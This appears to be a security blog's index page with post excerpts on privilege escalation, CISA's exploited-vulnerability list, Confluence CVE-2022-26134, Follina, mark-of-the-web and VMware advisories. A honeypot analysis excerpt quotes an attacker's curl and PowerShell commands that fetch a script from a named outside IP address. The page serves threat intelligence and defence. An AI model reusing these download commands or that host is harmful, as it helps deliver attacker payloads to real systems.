Linux Privilege Escalation

When you gain access to a target node you will want to explore, the exact method you use to do this will depend upon operational security considerations, time constraints and style. You will be looking for a range of elements to support progressing an objective.

It should be noted that the objective may NOT require elevation. You may be trying to obtain data and access might already be possible using the context you have assumed.

You also may need to move from a www-data user to a named user account or get to root level of access. If so there’s a range of questions we should be asking ourselves:

Defence

Offensive KEV Updates! CISA releases 38 more CVEs to…

Life in the vulnerability and exploit space is never dull

Spotted on twitter (thanks Danny!):

already ahead of u 😉 you know that all the infosec pros have to read every one…. well ones relvent to their environment/scope…. 😛 x pic.twitter.com/AnMqiLjNvB
— MrR3b00t | #StandWithUkraine #DefendAsOne (@UK_Daniel_Card) June 9, 2022

https://www.zdnet.com/article/cisa-warning-hackers-are-exploiting-these-36-significant-cybersecurity-vulnerabilities-so-patch-now/

CISA updates the known exploited vulnerabilities list (KEV) yesterday with another 38 updates!

That means an update is required for OFFESNIVE KEV!

Hacking

Priviledge Escalation Hunting – Scheduled Tasks and Scripts

TLDR: If you have been hunting for privescs before you will know it’s normally not a fast task, you will have a shed ton of data to look at. Sure WINPEAS is good but it’s not a silver bullet.

Here is a really small script which focuses on system administration files/scripts, scheduled tasks and scheduled task history to help you hunt for weaknesses:

Guides

SSH oh MY: no matching key exchange method found.…

Have you ever tried to SSH into a server and recieved the following error?

no matching key exchange method found. Their offer: diffie-hellman-group1-sha1

Well that’s probably becuase you are using a bit of kit with legacy software or firmware.

Then when you try to SSH and you add diffie-hellman-group1-sh1 you get the following back?

Guides

Testing Risky Egress Ports

Have you ever wanted to run a quick test of egress ports from userland from a windows machine?

Well worry not, I didn’t even have to write anything, the nice people at Black Hills security have done it for us. However I did decide that there’s a few other things we might want to do, so I made a quick modification, now we have colours, randomisation and some sleeps.

Education

CVE-2022-26134 – Honeypot Payload Analysis Example

Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:

HTTP Command Executes this:

curl http[:]//202.28.229.174/ap[.]sh?confcurl

This download the following (ap.sh)

$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing

$stealz.Content | Out-File ap.txt

Threat Intel

CVE-2022-26134 – Confluence Zero Day RCE

We are seeing active exploitation in the wild: MIRAI deployment, coinminer deployments etc.

THIS DOES SHOW IN THE ACCESS LOGS! The comment about “what isn’t in the logs” is about POST request BODY not showing in them, not that nothing is logged

https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d/community

XMRIG, KINSING, MIRAI etc. are being deployed by threat actors after exploiting this vulnerability.

This is a fast publish

POC is in the wild: https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

https://github.com/jbaines-r7/through_the_wire

keep checking vendor guidance and keep checking this for updates… use at own risk etc.

Workaround/Hotfixes have been published by Atlassian:

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

https://jira.atlassian.com/browse/CONFSERVER-79000

GreyNoise Tag is online: GreyNoise Trends

Also check this out for scanners: GreyNoise

Nice work https://twitter.com/_mattata and all the other people in the cyber community that are working on this!

IT MAY BE WISE TO ASSUME BREACH

The vulnerability appears to be in: xwork-1.0.3-atlassian-10.jar

Background

Velocity discovers a zero-day in confluence 03/06/2022 (GMT)

.@Volexity discovers zero-day exploit impacting all current versions of Atlassian Confluence Server and Data Center. Attackers deploy in-memory Java implant to evade detection. Read more in our latest blog post: https://t.co/aCSwnSUfj8 #DFIR #ThreatIntel #InfoSec
— Volexity (@Volexity) June 2, 2022

Guides

Adding a removing the mark of the web via…

A quick post becuase this is useful for security control testing:

If you want to enable MOTW (mark of the web) on a file you can run the following PowerShell cmdlet:

Set-Content -Path '.\safe3.rtf' -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

This will set the alterate data stream (ADS) Zone.Identifier value to ZoneID=3 (Internet Zone)

You can unblock this with

Defence

Office Microsoft Support Diagnostic Tool (MSDT) Vulnerability “Follina”

This is a fast publish!

Confirmed all Office (ISO Install/PRO and 365) when using the Rich Text Format (RTF) method.

Office 365 has some sort of patch against the .DOCX format.

oh dear….
Windows 11 (not 100% up to date from APRIL)
Office 365 (should be fully patched)

.RTF

MSDT Exploit! pic.twitter.com/M2Xn1TxANX
— MrR3b00t | #StandWithUkraine #DefendAsOne (@UK_Daniel_Card) May 31, 2022

WGET Execution

Defence

CVE-2022-22972 & CVE-2022-22973

More VMware Workspace One Vulns

This is a fast publish

Vmware just released patches for two new vulnerabilities in Workspace One, followed by guidance from CISA to patch by May 23^rd or remove the devices from the network/internet!

“All Federal Civilian Executive Branch agencies must complete the following actions:

By 5:00 PM EDT on Monday, May 23, 2022:

Enumerate all instances of impacted VMware products [VMware Workspace ONE Access (Access), VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager] on agency networks.